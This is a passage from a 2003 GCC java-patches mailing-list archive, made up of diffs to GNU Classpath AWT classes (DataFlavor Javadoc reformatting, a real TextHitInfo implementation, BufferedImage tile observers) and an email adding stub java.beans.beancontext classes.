+ */ public static final String javaRemoteObjectMimeType = "application/x-java-remote-object"; @@ -158,17 +158,17 @@ */ /** - * This method attempts to load the named class. The following class - * loaders are searched in order: the bootstrap class loader, the - * system class loader, the context class loader (if it exists), and - * the specified fallback class loader. - * - * @param className The name of the class to load. - * @param classLoader The class loader to use if all others fail, which - * may be null. - * - * @exception ClassNotFoundException If the class cannot be loaded. - */ + * This method attempts to load the named class. The following class + * loaders are searched in order: the bootstrap class loader, the + * system class loader, the context class loader (if it exists), and + * the specified fallback class loader. + * + * @param className The name of the class to load. + * @param classLoader The class loader to use if all others fail, which + * may be null. + * + * @exception ClassNotFoundException If the class cannot be loaded. + */ protected static final Class tryToLoadClass(String className, ClassLoader classLoader) throws ClassNotFoundException @@ -214,9 +214,9 @@ */ /** - * Empty public constructor needed for externalization. - * Should not be used for normal instantiation. - */ + * Empty public constructor needed for externalization. + * Should not be used for normal instantiation. + */ public DataFlavor() { @@ -228,8 +228,8 @@ /*************************************************************************/ /** - * Private constructor. - */ + * Private constructor. + */ private DataFlavor(Class representationClass, String mimeType, @@ -246,15 +246,15 @@ /*************************************************************************/ /** - * Initializes a new instance of DataFlavor. The class - * and human readable name are specified, the MIME type will be - * "application/x-java-serialized-object". If the human readable name - * is not specified (null) then the human readable name - * will be the same as the MIME type. - * - * @param representationClass The representation class for this object. - * @param humanPresentableName The display name of the object. - */ + * Initializes a new instance of DataFlavor. The class + * and human readable name are specified, the MIME type will be + * "application/x-java-serialized-object". If the human readable name + * is not specified (null) then the human readable name + * will be the same as the MIME type. + * + * @param representationClass The representation class for this object. + * @param humanPresentableName The display name of the object. + */ public DataFlavor(Class representationClass, String humanPresentableName) { @@ -268,23 +268,23 @@ /*************************************************************************/ /** - * Initializes a new instance of DataFlavor with the - * specified MIME type and description. If the MIME type has a - * "class=" parameter then the representation class will - * be the class name specified. Otherwise the class defaults to - * java.io.InputStream. If the human readable name - * is not specified (null) then the human readable name - * will be the same as the MIME type. - * - * @param mimeType The MIME type for this flavor. - * @param humanPresentableName The display name of this flavor. - * @param classLoader The class loader for finding classes if the default - * class loaders do not work. - * - * @exception IllegalArgumentException If the representation class - * specified cannot be loaded. - * @exception ClassNotFoundException If the class is not loaded. - */ + * Initializes a new instance of DataFlavor with the + * specified MIME type and description. If the MIME type has a + * "class=" parameter then the representation class will + * be the class name specified. Otherwise the class defaults to + * java.io.InputStream. If the human readable name + * is not specified (null) then the human readable name + * will be the same as the MIME type. + * + * @param mimeType The MIME type for this flavor. + * @param humanPresentableName The display name of this flavor. + * @param classLoader The class loader for finding classes if the default + * class loaders do not work. + * + * @exception IllegalArgumentException If the representation class + * specified cannot be loaded. + * @exception ClassNotFoundException If the class is not loaded. + */ public DataFlavor(String mimeType, String humanPresentableName, ClassLoader classLoader) throws ClassNotFoundException @@ -317,22 +317,22 @@ /*************************************************************************/ /** - * Initializes a new instance of DataFlavor with the - * specified MIME type and description. If the MIME type has a - * "class=" parameter then the representation class will - * be the class name specified. Otherwise the class defaults to - * java.io.InputStream. If the human readable name - * is not specified (null) then the human readable name - * will be the same as the MIME type. This is the same as calling - * new DataFlavor(mimeType, humanPresentableName, null). - * - * @param mimeType The MIME type for this flavor. - * @param humanPresentableName The display name of this flavor. - * @param classLoader The class loader for finding classes. - * - * @exception IllegalArgumentException If the representation class - * specified cannot be loaded. - */ + * Initializes a new instance of DataFlavor with the + * specified MIME type and description. If the MIME type has a + * "class=" parameter then the representation class will + * be the class name specified. Otherwise the class defaults to + * java.io.InputStream. If the human readable name + * is not specified (null) then the human readable name + * will be the same as the MIME type. This is the same as calling + * new DataFlavor(mimeType, humanPresentableName, null). + * + * @param mimeType The MIME type for this flavor. + * @param humanPresentableName The display name of this flavor. + * @param classLoader The class loader for finding classes. + * + * @exception IllegalArgumentException If the representation class + * specified cannot be loaded. + */ public DataFlavor(String mimeType, String humanPresentableName) throws ClassNotFoundException @@ -343,19 +343,19 @@ /*************************************************************************/ /** - * Initializes a new instance of DataFlavor with the specified - * MIME type. This type can have a "class=" parameter to specify the - * representation class, and then the class must exist or an exception will - * be thrown. If there is no "class=" parameter then the representation class - * will be java.io.InputStream. This is the same as calling - * new DataFlavor(mimeType, null). - * - * @param mimeType The MIME type for this flavor. - * - * @exception IllegalArgumentException If a class is not specified in - * the MIME type. - * @exception ClassNotFoundException If the class cannot be loaded. - */ + * Initializes a new instance of DataFlavor with the specified + * MIME type. This type can have a "class=" parameter to specify the + * representation class, and then the class must exist or an exception will + * be thrown. If there is no "class=" parameter then the representation class + * will be java.io.InputStream. This is the same as calling + * new DataFlavor(mimeType, null). + * + * @param mimeType The MIME type for this flavor. + * + * @exception IllegalArgumentException If a class is not specified in + * the MIME type. + * @exception ClassNotFoundException If the class cannot be loaded. + */ public DataFlavor(String mimeType) throws ClassNotFoundException { @@ -365,10 +365,10 @@ /*************************************************************************/ /** - * Returns the MIME type of this flavor. - * - * @return The MIME type for this flavor. - */ + * Returns the MIME type of this flavor. + * + * @return The MIME type for this flavor. + */ public String getMimeType() { @@ -378,10 +378,10 @@ /*************************************************************************/ /** - * Returns the representation class for this flavor. - * - * @return The representation class for this flavor. - */ + * Returns the representation class for this flavor. + * + * @return The representation class for this flavor. + */ public Class getRepresentationClass() { @@ -391,10 +391,10 @@ /*************************************************************************/ /** - * Returns the human presentable name for this flavor. - * - * @return The human presentable name for this flavor. - */ + * Returns the human presentable name for this flavor. + * + * @return The human presentable name for this flavor. + */ public String getHumanPresentableName() { @@ -404,10 +404,10 @@ /*************************************************************************/ /** - * Returns the primary MIME type for this flavor. - * - * @return The primary MIME type for this flavor. - */ + * Returns the primary MIME type for this flavor. + * + * @return The primary MIME type for this flavor. + */ public String getPrimaryType() { @@ -421,10 +421,10 @@ /*************************************************************************/ /** - * Returns the MIME subtype for this flavor. - * - * @return The MIME subtype for this flavor. - */ + * Returns the MIME subtype for this flavor. + * + * @return The MIME subtype for this flavor. + */ public String getSubType() { @@ -444,15 +444,15 @@ /*************************************************************************/ /** - * Returns the value of the named MIME type parameter, or null - * if the parameter does not exist. Given the parameter name and the mime - * string. - * - * @param paramName The name of the parameter. - * @param mimeString The mime string from where the name should be found. - * - * @return The value of the parameter or null. - */ + * Returns the value of the named MIME type parameter, or null + * if the parameter does not exist. Given the parameter name and the mime + * string. + * + * @param paramName The name of the parameter. + * @param mimeString The mime string from where the name should be found. + * + * @return The value of the parameter or null. + */ private static String getParameter(String paramName, String mimeString) { @@ -470,14 +470,15 @@ } /*************************************************************************/ + /** - * Returns the value of the named MIME type parameter, or null - * if the parameter does not exist. - * - * @param paramName The name of the paramter. - * - * @return The value of the parameter. - */ + * Returns the value of the named MIME type parameter, or null + * if the parameter does not exist. + * + * @param paramName The name of the paramter. + * + * @return The value of the parameter. + */ public String getParameter(String paramName) { @@ -487,10 +488,10 @@ /*************************************************************************/ /** - * Sets the human presentable name to the specified value. - * - * @param humanPresentableName The new display name. - */ + * Sets the human presentable name to the specified value. + * + * @param humanPresentableName The new display name. + */ public void setHumanPresentableName(String humanPresentableName) { @@ -500,16 +501,16 @@ /*************************************************************************/ /** - * Tests the MIME type of this object for equality against the specified - * MIME type. - * - * @param mimeType The MIME type to test against. - * - * @return true if the MIME type is equal to this object's - * MIME type, false otherwise. - * - * @exception NullPointerException If mimeType is null. - */ + * Tests the MIME type of this object for equality against the specified + * MIME type. + * + * @param mimeType The MIME type to test against. + * + * @return true if the MIME type is equal to this object's + * MIME type, false otherwise. + * + * @exception NullPointerException If mimeType is null. + */ public boolean isMimeTypeEqual(String mimeType) { @@ -521,14 +522,14 @@ /*************************************************************************/ /** - * Tests the MIME type of this object for equality against the specified - * data flavor's MIME type - * - * @param flavor The flavor to test against. - * - * @return true if the flavor's MIME type is equal to this - * object's MIME type, false otherwise. - */ + * Tests the MIME type of this object for equality against the specified + * data flavor's MIME type + * + * @param flavor The flavor to test against. + * + * @return true if the flavor's MIME type is equal to this + * object's MIME type, false otherwise. + */ public boolean isMimeTypeEqual(DataFlavor flavor) { @@ -538,11 +539,11 @@ /*************************************************************************/ /** - * Tests whether or not this flavor represents a serialized object. - * - * @return true if this flavor represents a serialized - * object, false otherwise. - */ + * Tests whether or not this flavor represents a serialized object. + * + * @return true if this flavor represents a serialized + * object, false otherwise. + */ public boolean isMimeTypeSerializedObject() { @@ -552,12 +553,12 @@ /*************************************************************************/ /** - * Tests whether or not this flavor has a representation class of - * java.io.InputStream. - * - * @param true if the representation class of this flavor - * is java.io.InputStream, false otherwise. - */ + * Tests whether or not this flavor has a representation class of + * java.io.InputStream. + * + * @param true if the representation class of this flavor + * is java.io.InputStream, false otherwise. + */ public boolean isRepresentationClassInputStream() { @@ -567,12 +568,12 @@ /*************************************************************************/ /** - * Tests whether the representation class for this flavor is - * serializable. - * - * @param true if the representation class is serializable, - * false otherwise. - */ + * Tests whether the representation class for this flavor is + * serializable. + * + * @param true if the representation class is serializable, + * false otherwise. + */ public boolean isRepresentationClassSerializable() { @@ -592,11 +593,11 @@ /*************************************************************************/ /** - * Tests whether the representation class for his flavor is remote. - * - * @return true if the representation class is remote, - * false otherwise. - */ + * Tests whether the representation class for his flavor is remote. + * + * @return true if the representation class is remote, + * false otherwise. + */ public boolean isRepresentationClassRemote() { @@ -607,11 +608,11 @@ /*************************************************************************/ /** - * Tests whether or not this flavor represents a serialized object. - * - * @return true if this flavor represents a serialized - * object, false otherwise. - */ + * Tests whether or not this flavor represents a serialized object. + * + * @return true if this flavor represents a serialized + * object, false otherwise. + */ public boolean isFlavorSerializedObjectType() { @@ -622,11 +623,11 @@ /*************************************************************************/ /** - * Tests whether or not this flavor represents a remote object. - * - * @return true if this flavor represents a remote object, - * false otherwise. - */ + * Tests whether or not this flavor represents a remote object. + * + * @return true if this flavor represents a remote object, + * false otherwise. + */ public boolean isFlavorRemoteObjectType() { @@ -636,11 +637,11 @@ /*************************************************************************/ /** - * Tests whether or not this flavor represents a list of files. - * - * @return true if this flavor represents a list of files, - * false otherwise. - */ + * Tests whether or not this flavor represents a list of files. + * + * @return true if this flavor represents a list of files, + * false otherwise. + */ public boolean isFlavorJavaFileListType() { @@ -654,14 +655,14 @@ /*************************************************************************/ /** - * Returns a copy of this object. - * - * @return A copy of this object. - * - * @exception CloneNotSupportedException If the object's class does not support - * the Cloneable interface. Subclasses that override the clone method can also - * throw this exception to indicate that an instance cannot be cloned. - */ + * Returns a copy of this object. + * + * @return A copy of this object. + * + * @exception CloneNotSupportedException If the object's class does not support + * the Cloneable interface. Subclasses that override the clone method can also + * throw this exception to indicate that an instance cannot be cloned. + */ public Object clone () throws CloneNotSupportedException { try @@ -677,15 +678,15 @@ /*************************************************************************/ /** - * This method test the specified DataFlavor for equality - * against this object. This will be true if the MIME type and - * representation type are the equal. - * - * @param flavor The DataFlavor to test against. - * - * @return true if the flavor is equal to this object, - * false otherwise. - */ + * This method test the specified DataFlavor for equality + * against this object. This will be true if the MIME type and + * representation type are the equal. + * + * @param flavor The DataFlavor to test against. + * + * @return true if the flavor is equal to this object, + * false otherwise. + */ public boolean equals(DataFlavor flavor) { @@ -704,22 +705,22 @@ /*************************************************************************/ /** - * This method test the specified Object for equality - * against this object. This will be true if the following conditions - * are met: - *

          - *

            - *
          • The object is not null. - *
          • The object is an instance of DataFlavor. - *
          • The object's MIME type and representation class are equal to - * this object's. - *
          - * - * @param obj The Object to test against. - * - * @return true if the flavor is equal to this object, - * false otherwise. - */ + * This method test the specified Object for equality + * against this object. This will be true if the following conditions + * are met: + *

          + *

            + *
          • The object is not null. + *
          • The object is an instance of DataFlavor. + *
          • The object's MIME type and representation class are equal to + * this object's. + *
          + * + * @param obj The Object to test against. + * + * @return true if the flavor is equal to this object, + * false otherwise. + */ public boolean equals(Object obj) { @@ -735,17 +736,17 @@ /*************************************************************************/ /** - * Tests whether or not the specified string is equal to the MIME type - * of this object. - * - * @param str The string to test against. - * - * @return true if the string is equal to this object's MIME - * type, false otherwise. - * - * @deprecated Not compatible with hashCode(). - * Use isMimeTypeEqual() - */ + * Tests whether or not the specified string is equal to the MIME type + * of this object. + * + * @param str The string to test against. + * + * @return true if the string is equal to this object's MIME + * type, false otherwise. + * + * @deprecated Not compatible with hashCode(). + * Use isMimeTypeEqual() + */ public boolean equals(String str) { @@ -755,10 +756,10 @@ /*************************************************************************/ /** - * Returns the hash code for this data flavor. - * The hash code is based on the (lower case) mime type and the - * representation class. - */ + * Returns the hash code for this data flavor. + * The hash code is based on the (lower case) mime type and the + * representation class. + */ public int hashCode() { @@ -768,9 +769,9 @@ /*************************************************************************/ /** - * Returns true when the given DataFlavor - * matches this one. - */ + * Returns true when the given DataFlavor + * matches this one. + */ public boolean match(DataFlavor dataFlavor) { @@ -781,16 +782,16 @@ /*************************************************************************/ /** - * This method exists for backward compatibility. It simply returns - * the same name/value pair passed in. - * - * @param name The parameter name. - * @param value The parameter value. - * - * @return The name/value pair. - * - * @deprecated - */ + * This method exists for backward compatibility. It simply returns + * the same name/value pair passed in. + * + * @param name The parameter name. + * @param value The parameter value. + * + * @return The name/value pair. + * + * @deprecated + */ protected String normalizeMimeTypeParameter(String name, String value) { @@ -800,15 +801,15 @@ /*************************************************************************/ /** - * This method exists for backward compatibility. It simply returns - * the MIME type string unchanged. - * - * @param type The MIME type. - * - * @return The MIME type. - * - * @deprecated - */ + * This method exists for backward compatibility. It simply returns + * the MIME type string unchanged. + * + * @param type The MIME type. + * + * @return The MIME type. + * + * @deprecated + */ protected String normalizeMimeType(String type) { @@ -818,12 +819,12 @@ /*************************************************************************/ /** - * Serialize this class. - * - * @param stream The ObjectOutput stream to serialize to. - * - * @exception IOException If an error occurs. - */ + * Serialize this class. + * + * @param stream The ObjectOutput stream to serialize to. + * + * @exception IOException If an error occurs. + */ public void writeExternal(ObjectOutput stream) throws IOException { @@ -833,14 +834,14 @@ /*************************************************************************/ /** - * De-serialize this class. - * - * @param stream The ObjectInput stream to deserialize from. - * - * @exception IOException If an error ocurs. - * @exception ClassNotFoundException If the class for an object being restored - * cannot be found. - */ + * De-serialize this class. + * + * @param stream The ObjectInput stream to deserialize from. + * + * @exception IOException If an error ocurs. + * @exception ClassNotFoundException If the class for an object being restored + * cannot be found. + */ public void readExternal(ObjectInput stream) throws IOException, ClassNotFoundException { @@ -850,9 +851,9 @@ /*************************************************************************/ /** - * Returns a string representation of this DataFlavor. Including the - * representation class name, MIME type and human presentable name. - */ + * Returns a string representation of this DataFlavor. Including the + * representation class name, MIME type and human presentable name. + */ public String toString() { @@ -867,8 +868,8 @@ /*************************************************************************/ /** - * XXX - Currently returns plainTextFlavor. - */ + * XXX - Currently returns plainTextFlavor. + */ public static final DataFlavor getTextPlainUnicodeFlavor() { @@ -878,10 +879,10 @@ /*************************************************************************/ /** - * XXX - Currently returns java.io.InputStream. - * - * @since 1.3 - */ + * XXX - Currently returns java.io.InputStream. + * + * @since 1.3 + */ public final Class getDefaultRepresentationClass() { @@ -890,8 +891,8 @@ /*************************************************************************/ /** - * XXX - Currently returns java.io.InputStream. - */ + * XXX - Currently returns java.io.InputStream. + */ public final String getDefaultRepresentationClassAsString() { @@ -901,15 +902,15 @@ /*************************************************************************/ /** - * Selects the best supported text flavor on this implementation. - * Returns null when none of the given flavors is liked. - * - * The DataFlavor returned the first data flavor in the - * array that has either a representation class which is (a subclass of) - * Reader or String, or has a representation - * class which is (a subclass of) InputStream and has a - * primary MIME type of "text" and has an supported encoding. - */ + * Selects the best supported text flavor on this implementation. + * Returns null when none of the given flavors is liked. + * + * The DataFlavor returned the first data flavor in the + * array that has either a representation class which is (a subclass of) + * Reader or String, or has a representation + * class which is (a subclass of) InputStream and has a + * primary MIME type of "text" and has an supported encoding. + */ public static final DataFlavor selectBestTextFlavor(DataFlavor[] availableFlavors) { @@ -952,30 +953,30 @@ /*************************************************************************/ /** - * Creates a Reader for a given Transferable. - * - * If the representation class is a (subclass of) Reader - * then an instance of the representation class is returned. If the - * representatation class is a String then a - * StringReader is returned. And if the representation class - * is a (subclass of) InputStream and the primary MIME type - * is "text" then a InputStreamReader for the correct charset - * encoding is returned. - * - * @param transferable The Transferable for which a text - * Reader is requested. - * - * @exception IllegalArgumentException If the representation class is not one - * of the seven listed above or the Transferable has null data. - * @exception NullPointerException If the Transferable is null. - * @exception UnsupportedFlavorException when the transferable doesn't - * support this DataFlavor. Or if the representable class - * isn't a (subclass of) Reader, String, - * InputStream and/or the primary MIME type isn't "text". - * @exception IOException when any IOException occurs. - * @exception UnsupportedEncodingException if the "charset" isn't supported - * on this platform. - */ + * Creates a Reader for a given Transferable. + * + * If the representation class is a (subclass of) Reader + * then an instance of the representation class is returned. If the + * representatation class is a String then a + * StringReader is returned. And if the representation class + * is a (subclass of) InputStream and the primary MIME type + * is "text" then a InputStreamReader for the correct charset + * encoding is returned. + * + * @param transferable The Transferable for which a text + * Reader is requested. + * + * @exception IllegalArgumentException If the representation class is not one + * of the seven listed above or the Transferable has null data. + * @exception NullPointerException If the Transferable is null. + * @exception UnsupportedFlavorException when the transferable doesn't + * support this DataFlavor. Or if the representable class + * isn't a (subclass of) Reader, String, + * InputStream and/or the primary MIME type isn't "text". + * @exception IOException when any IOException occurs. + * @exception UnsupportedEncodingException if the "charset" isn't supported + * on this platform. + */ public Reader getReaderForText(Transferable transferable) throws UnsupportedFlavorException, IOException { Index: java/awt/font/TextHitInfo.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/font/TextHitInfo.java,v retrieving revision 1.2 diff -u -r1.2 TextHitInfo.java --- java/awt/font/TextHitInfo.java 7 Nov 2002 08:45:17 -0000 1.2 +++ java/awt/font/TextHitInfo.java 10 Mar 2003 13:20:26 -0000 @@ -39,76 +39,87 @@ /** * @author John Leuner - * - * */ - -public final class TextHitInfo { - +public final class TextHitInfo +{ + private int charIndex; + private boolean leadingEdge; + + TextHitInfo (int charIndex, boolean leadingEdge) + { + this.charIndex = charIndex; + this.leadingEdge = leadingEdge; + } + public int getCharIndex() { - return -1; + return charIndex; } public boolean isLeadingEdge() { - return false; + return leadingEdge; } public int getInsertionIndex() { - return -1; + return (leadingEdge ? charIndex : charIndex + 1); } public int hashCode() { - return getCharIndex(); + return charIndex; } public boolean equals(Object obj) { if(obj instanceof TextHitInfo) return this.equals((TextHitInfo) obj); + return false; } public boolean equals(TextHitInfo hitInfo) { - return (getCharIndex() == hitInfo.getCharIndex()) && (isLeadingEdge() == hitInfo.isLeadingEdge()); + return (charIndex == hitInfo.getCharIndex ()) + && (leadingEdge == hitInfo.isLeadingEdge ()); } public static TextHitInfo leading(int charIndex) { - return new TextHitInfo(); + return new TextHitInfo (charIndex, true); } public static TextHitInfo trailing(int charIndex) { - return new TextHitInfo(); + return new TextHitInfo (charIndex, false); } public static TextHitInfo beforeOffset(int offset) { - return new TextHitInfo(); + return new TextHitInfo (offset, false); } public static TextHitInfo afterOffset(int offset) { - return new TextHitInfo(); + return new TextHitInfo (offset, true); } public TextHitInfo getOtherHit() { - return new TextHitInfo(); + return (leadingEdge ? trailing (charIndex - 1) : leading (charIndex + 1)); } public TextHitInfo getOffsetHit(int offset) { - return new TextHitInfo(); + return new TextHitInfo (charIndex + offset, leadingEdge); } public String toString() { - return ""; + return "TextHitInfo[" + + charIndex + + (leadingEdge ? "L" : "T" ) + + "]"; } } Index: java/awt/image/BufferedImage.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/BufferedImage.java,v retrieving revision 1.5 diff -u -r1.5 BufferedImage.java --- java/awt/image/BufferedImage.java 22 Jan 2002 22:40:10 -0000 1.5 +++ java/awt/image/BufferedImage.java 10 Mar 2003 13:20:26 -0000 @@ -53,8 +53,8 @@ * * @author Rolf W. Rasmussen */ -public class BufferedImage extends java.awt.Image - //implements java.awt.image.WritableRenderedImage +public class BufferedImage extends Image + implements WritableRenderedImage { public static final int TYPE_CUSTOM = 0, TYPE_INT_RGB = 1, @@ -88,6 +88,8 @@ 0x03e0, 0x001f, DataBuffer.TYPE_USHORT}; + + Vector observers; public BufferedImage(int w, int h, int type) { @@ -568,5 +570,34 @@ { // FIXME: implement: return super.toString(); + } + + /** + * Adds a tile observer. If the observer is already present, it receives + * multiple notifications. + * + * @param to The TileObserver to add. + */ + public void addTileObserver (TileObserver to) + { + if (observers == null) + observers = new Vector (); + + observers.add (to); + } + + /** + * Removes a tile observer. If the observer was not registered, + * nothing happens. If the observer was registered for multiple + * notifications, it is now registered for one fewer notification. + * + * @param to The TileObserver to remove. + */ + public void removeTileObserver (TileObserver to) + { + if (observers == null) + return; + + observers.remove (to); } } --Boundary-00=_JIJb+MGWNaT5KB2-- From java-patches-return-6417-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 14:35:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1072 invoked by alias); 10 Mar 2003 14:35:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1048 invoked from network); 10 Mar 2003 14:34:59 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 10 Mar 2003 14:34:59 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AEYuZK009764 for ; Mon, 10 Mar 2003 15:34:57 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sOM5-0003Ra-00 for ; Mon, 10 Mar 2003 15:34:17 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: Two new files in java.beans.beancontext Date: Mon, 10 Mar 2003 15:35:25 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_tKKb+aEi3C9FvsQ" Message-Id: <200303101535.25340.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_tKKb+aEi3C9FvsQ Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited two new files to java.beans.beancontext. These are dummy=20 implementations. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bKKtWSOgCCdjSDsRAlfCAJ4qsWskAKhDAbj3phdDY3gcEb5O5QCeLZ8o 39IKk34NG5ZgnwLMOB7eAzg=3D =3DywPq =2D----END PGP SIGNATURE----- --Boundary-00=_tKKb+aEi3C9FvsQ Content-Type: text/x-diff; charset="iso-8859-15"; name="beans-new.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="beans-new.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1768 diff -u -r1.1768 ChangeLog --- ChangeLog 10 Mar 2003 13:21:36 -0000 1.1768 +++ ChangeLog 10 Mar 2003 14:33:31 -0000 @@ -1,3 +1,11 @@ +2003-03-10 Michael Koch + + * java/beans/beancontext/BeanContextServicesSupport.java, + java/beans/beancontext/BeanContextSupport.java: New files. + * Makefile.am + (awt_source_files): Added new files. + * Makefile.in: Regenerated. + 2003-03-10 Michael Koch * java/awt/FocusTraversalPolicy.java Index: java/beans/beancontext/BeanContextServicesSupport.java =================================================================== RCS file: java/beans/beancontext/BeanContextServicesSupport.java diff -N java/beans/beancontext/BeanContextServicesSupport.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/beans/beancontext/BeanContextServicesSupport.java 10 Mar 2003 14:33:31 -0000 @@ -0,0 +1,275 @@ +/* java.beans.beancontext.BeanContextServicesSupport + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.beans.beancontext; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Locale; +import java.util.TooManyListenersException; + +/** + * @author Michael Koch + * @since 1.2 + */ +public class BeanContextServicesSupport + extends BeanContextSupport + implements BeanContextServices +{ + private static final long serialVersionUID = -8494482757288719206L; + + protected class BCSSChild + extends BeanContextSupport.BCSChild + { + private static final long serialVersionUID = -6848044915271367103L; + } + + protected class BCSSProxyServiceProvider + implements BeanContextServiceProvider, + BeanContextServiceRevokedListener + { + private static final long serialVersionUID = 7078212910685744490L; + + public Iterator getCurrentServiceSelectors (BeanContextServices bcs, + Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public Object getService (BeanContextServices bcs, + Object requestor, + Class serviceClass, + Object serviceSelector) + { + throw new Error ("Not implemented"); + } + + public void releaseService (BeanContextServices bcs, + Object requestor, + Object service) + { + throw new Error ("Not implemented"); + } + + public void serviceRevoked (BeanContextServiceRevokedEvent bcsre) + { + throw new Error ("Not implemented"); + } + } + + protected static class BCSSServiceProvider + implements Serializable + { + protected BeanContextServiceProvider serviceProvider; + + protected BeanContextServiceProvider getServiceProvider() + { + return serviceProvider; + } + } + + protected transient ArrayList bcsListeners; + + protected transient BCSSProxyServiceProvider proxy; + + protected transient int serializable; + + protected transient HashMap services; + + public BeanContextServicesSupport () + { + this (null, null, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer) + { + this (peer, null, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle) + { + this (peer, lcle, true, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime) + { + this (peer, lcle, dtime, true); + } + + public BeanContextServicesSupport (BeanContextServices peer, Locale lcle, boolean dtime, boolean visible) + { + throw new Error ("Not implemented"); + } + + public void addBeanContextServicesListener (BeanContextServicesListener bcsl) + { + throw new Error ("Not implemented"); + } + + public boolean addService (Class serviceClass, BeanContextServiceProvider bcsp) + { + throw new Error ("Not implemented"); + } + + protected boolean addService (Class serviceClass, BeanContextServiceProvider bcsp, boolean fireEvent) + { + throw new Error ("Not implemented"); + } + + protected void bcsPreDeserializationHook (ObjectInputStream ois) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected void bcsPreSerializationHook (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } + protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer) + { + throw new Error ("Not implemented"); + } + + protected BeanContextServicesSupport.BCSSServiceProvider createBCSSServiceProvider (Class sc, BeanContextServiceProvider bcsp) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceAdded (BeanContextServiceAvailableEvent bcssae) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceAdded (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceRevoked (BeanContextServiceRevokedEvent bcsre) + { + throw new Error ("Not implemented"); + } + + protected final void fireServiceRevoked (Class serviceClass, boolean revokeNow) + { + throw new Error ("Not implemented"); + } + + public BeanContextServices getBeanContextServicesPeer () + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextServicesListener getChildBeanContextServicesListener (Object child) + { + throw new Error ("Not implemented"); + } + + public Iterator getCurrentServiceClasses () + { + throw new Error ("Not implemented"); + } + + public Iterator getCurrentServiceSelectors (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public Object getService (BeanContextChild child, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener bcsrl) + throws TooManyListenersException + { + throw new Error ("Not implemented"); + } + + public boolean hasService (Class serviceClass) + { + throw new Error ("Not implemented"); + } + + public void initialize () + { + throw new Error ("Not implemented"); + } + + protected void initializeBeanContextResources () + { + throw new Error ("Not implemented"); + } + + protected void releaseBeanContextResources () + { + throw new Error ("Not implemented"); + } + + public void releaseService (BeanContextChild child, Object requestor, Object service) + { + throw new Error ("Not implemented"); + } + + public void removeBeanContextServicesListener (BeanContextServicesListener bcsl) + { + throw new Error ("Not implemented"); + } + + public void revokeService (Class serviceClass, BeanContextServiceProvider bcsp, boolean revokeCurrentServicesNow) + { + throw new Error ("Not implemented"); + } + + public void serviceAvailable (BeanContextServiceAvailableEvent bcssae) + { + throw new Error ("Not implemented"); + } + + public void serviceRevoked (BeanContextServiceRevokedEvent bcssre) + { + throw new Error ("Not implemented"); + } +} Index: java/beans/beancontext/BeanContextSupport.java =================================================================== RCS file: java/beans/beancontext/BeanContextSupport.java diff -N 